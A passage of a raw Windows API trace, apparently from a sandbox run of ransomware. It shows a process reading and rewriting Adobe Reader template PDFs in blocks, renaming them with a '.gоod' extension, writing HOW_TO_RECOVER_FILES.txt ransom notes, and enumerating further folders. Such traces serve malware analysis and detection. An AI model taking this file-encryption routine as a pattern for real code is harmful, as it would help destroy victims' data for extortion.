hFile=0x7b0, lpBuffer=0x32251b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b5b8, lpOverlapped=0x0 | out: lpBuffer=0x32251b0*, lpNumberOfBytesRead=0x1f35b5b8*=0x1000, lpOverlapped=0x0) returned 1 [0087.889] CloseHandle (hObject=0x7b0) returned 1 [0087.889] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf", lpFilePart=0x0) returned 0x51 [0087.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0087.889] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0087.889] GetFileType (hFile=0x7b0) returned 0x1 [0087.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0087.889] GetFileType (hFile=0x7b0) returned 0x1 [0087.889] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0x14096 [0087.889] WriteFile (in: hFile=0x7b0, lpBuffer=0x3226760*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35b4d8, lpOverlapped=0x0 | out: lpBuffer=0x3226760*, lpNumberOfBytesWritten=0x1f35b4d8*=0x10, lpOverlapped=0x0) returned 1 [0087.890] CloseHandle (hObject=0x7b0) returned 1 [0087.890] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf", lpFilePart=0x0) returned 0x51 [0087.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0087.890] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0087.890] GetFileType (hFile=0x7b0) returned 0x1 [0087.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0087.890] GetFileType (hFile=0x7b0) returned 0x1 [0087.890] ReadFile (in: hFile=0x7b0, lpBuffer=0x3228a68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b568, lpOverlapped=0x0 | out: lpBuffer=0x3228a68*, lpNumberOfBytesRead=0x1f35b568*=0x1000, lpOverlapped=0x0) returned 1 [0088.365] CloseHandle (hObject=0x7b0) returned 1 [0088.366] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf", lpFilePart=0x0) returned 0x51 [0088.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0088.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0088.366] GetFileType (hFile=0x7b0) returned 0x1 [0088.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0088.366] GetFileType (hFile=0x7b0) returned 0x1 [0088.366] WriteFile (in: hFile=0x7b0, lpBuffer=0x31f1090*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35b618, lpOverlapped=0x0 | out: lpBuffer=0x31f1090*, lpNumberOfBytesWritten=0x1f35b618*=0x1010, lpOverlapped=0x0) returned 1 [0088.366] CloseHandle (hObject=0x7b0) returned 1 [0088.366] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf", lpFilePart=0x0) returned 0x51 [0088.366] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf.gоod", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf.gоod", lpFilePart=0x0) returned 0x56 [0088.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b550) returned 1 [0088.367] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\adobeid.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1f35b630 | out: lpFileInformation=0x1f35b630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362948a6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x30e2889a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140a6)) returned 1 [0088.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b510) returned 1 [0088.367] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\adobeid.pdf.gоod")) returned 1 [0088.367] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf", lpFilePart=0x0) returned 0x53 [0088.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b590) returned 1 [0088.367] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\defaultid.pdf"), fInfoLevelId=0x0, lpFileInformation=0x333bcf0 | out: lpFileInformation=0x333bcf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b)) returned 1 [0088.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b550) returned 1 [0088.368] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf", lpFilePart=0x0) returned 0x53 [0088.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0088.368] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0088.368] GetFileType (hFile=0x7b0) returned 0x1 [0088.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0088.368] GetFileType (hFile=0x7b0) returned 0x1 [0088.368] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0x1000 [0088.368] ReadFile (in: hFile=0x7b0, lpBuffer=0x333c138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b5b8, lpOverlapped=0x0 | out: lpBuffer=0x333c138*, lpNumberOfBytesRead=0x1f35b5b8*=0x1000, lpOverlapped=0x0) returned 1 [0088.373] CloseHandle (hObject=0x7b0) returned 1 [0088.373] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf", lpFilePart=0x0) returned 0x53 [0088.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0088.373] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0088.373] GetFileType (hFile=0x7b0) returned 0x1 [0088.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0088.373] GetFileType (hFile=0x7b0) returned 0x1 [0088.373] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0x13b0b [0088.373] WriteFile (in: hFile=0x7b0, lpBuffer=0x3340ba0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35b4d8, lpOverlapped=0x0 | out: lpBuffer=0x3340ba0*, lpNumberOfBytesWritten=0x1f35b4d8*=0x10, lpOverlapped=0x0) returned 1 [0088.407] CloseHandle (hObject=0x7b0) returned 1 [0088.407] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf", lpFilePart=0x0) returned 0x53 [0088.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0088.408] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0088.408] GetFileType (hFile=0x7b0) returned 0x1 [0088.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0088.408] GetFileType (hFile=0x7b0) returned 0x1 [0088.408] ReadFile (in: hFile=0x7b0, lpBuffer=0x33bf960, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b568, lpOverlapped=0x0 | out: lpBuffer=0x33bf960*, lpNumberOfBytesRead=0x1f35b568*=0x1000, lpOverlapped=0x0) returned 1 [0088.486] CloseHandle (hObject=0x7b0) returned 1 [0088.486] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf", lpFilePart=0x0) returned 0x53 [0088.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0088.486] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0088.486] GetFileType (hFile=0x7b0) returned 0x1 [0088.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0088.486] GetFileType (hFile=0x7b0) returned 0x1 [0088.486] WriteFile (in: hFile=0x7b0, lpBuffer=0x33be6a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35b618, lpOverlapped=0x0 | out: lpBuffer=0x33be6a0*, lpNumberOfBytesWritten=0x1f35b618*=0x1010, lpOverlapped=0x0) returned 1 [0088.486] CloseHandle (hObject=0x7b0) returned 1 [0088.487] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf", lpFilePart=0x0) returned 0x53 [0088.487] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf.gоod", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf.gоod", lpFilePart=0x0) returned 0x58 [0088.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b550) returned 1 [0088.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\defaultid.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1f35b630 | out: lpFileInformation=0x1f35b630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x30f59c29, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13b1b)) returned 1 [0088.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b510) returned 1 [0088.487] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\defaultid.pdf.gоod")) returned 1 [0088.487] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35b230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5e [0088.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b750) returned 1 [0088.487] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b0 [0088.489] GetFileType (hFile=0x7b0) returned 0x1 [0088.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6c0) returned 1 [0088.489] GetFileType (hFile=0x7b0) returned 0x1 [0088.490] WriteFile (in: hFile=0x7b0, lpBuffer=0x3248400*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35b818, lpOverlapped=0x0 | out: lpBuffer=0x3248400*, lpNumberOfBytesWritten=0x1f35b818*=0x5d0, lpOverlapped=0x0) returned 1 [0088.491] CloseHandle (hObject=0x7b0) returned 1 [0088.491] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35bc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5a [0088.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c180) returned 1 [0088.491] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b0 [0088.491] GetFileType (hFile=0x7b0) returned 0x1 [0088.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c0f0) returned 1 [0088.491] GetFileType (hFile=0x7b0) returned 0x1 [0088.492] WriteFile (in: hFile=0x7b0, lpBuffer=0x324bcb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35c248, lpOverlapped=0x0 | out: lpBuffer=0x324bcb8*, lpNumberOfBytesWritten=0x1f35c248*=0x5d0, lpOverlapped=0x0) returned 1 [0088.493] CloseHandle (hObject=0x7b0) returned 1 [0088.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0088.493] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts", lpFilePart=0x0) returned 0x41 [0088.493] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0088.494] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.494] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x36c4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 1 [0088.494] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.494] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0088.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0088.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0088.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0088.494] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts", lpFilePart=0x0) returned 0x41 [0088.494] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0088.494] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.495] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x36c4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 1 [0088.495] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x36c4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 0 [0088.495] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0088.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0088.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0088.495] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin", lpFilePart=0x0) returned 0x53 [0088.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0088.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\javascripts\\jsbytecodewin.bin"), fInfoLevelId=0x0, lpFileInformation=0x325b0d0 | out: lpFileInformation=0x325b0d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x36c4f2)) returned 1 [0088.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0088.496] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin", lpFilePart=0x0) returned 0x53 [0088.496] SetThreadErrorMode 